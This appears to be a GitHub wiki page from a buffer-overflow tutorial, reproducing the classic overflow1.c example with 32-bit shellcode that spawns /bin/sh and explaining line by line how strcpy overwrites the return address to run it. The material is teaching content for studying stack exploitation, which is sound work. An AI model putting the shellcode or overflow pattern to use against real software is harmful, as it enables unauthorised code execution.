First Exploit General Explanation - kkli08/Buffer-Overflow GitHub Wiki
Welcome to the Buffer Overflow!
Writing the first Exploit
// overflow1.c
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
General guide
Shellcode
char shellcode[] = "...";
- This is the shellcode, a string of bytes that represents machine code to be executed once the exploit is successful. This specific shellcode is designed to execute a shell (
/bin/sh
).
Buffers
char large_string[128];
char buffer[96];
- Two character arrays (buffers) are declared.
large_string
has a size of 128 bytes, andbuffer
has a size of 96 bytes.
Main Function
void main() {
int i;
long *long_ptr = (long *) large_string;
- The main function starts by declaring an integer
i
for loops and a pointerlong_ptr
of typelong
. This pointer is set to point to the start oflarge_string
.
large_string
with the Address of buffer
First Loop: Filling for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;
- This loop fills the
large_string
with the address ofbuffer
. Eachlong
is typically 4 bytes on 32-bit systems (8 bytes on 64-bit), so this loop effectively writes the buffer's address multiple times intolarge_string
.
large_string
Second Loop: Copying Shellcode to for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];
- This loop copies the shellcode into the beginning of
large_string
. The rest oflarge_string
still contains the address ofbuffer
.
Executing the Overflow
strcpy(buffer, large_string);
- The
strcpy
function is used to copylarge_string
intobuffer
. Sincelarge_string
is larger thanbuffer
(128 bytes vs. 96 bytes), this overflowsbuffer
, writing beyond its bounds. The overflow is designed to overwrite the return address on the stack with the address ofbuffer
. Sincebuffer
's address is filled inlarge_string
andlarge_string
now starts with the shellcode, the execution will jump to the shellcode once the function returns.
Summary of Exploit
The exploit works by:
- Overwriting the return address of the
main
function with the address ofbuffer
(which is filled inlarge_string
). - Placing the shellcode at the beginning of
large_string
, so when the return address is used, it points to the shellcode. - The shellcode is executed, which typically opens a shell.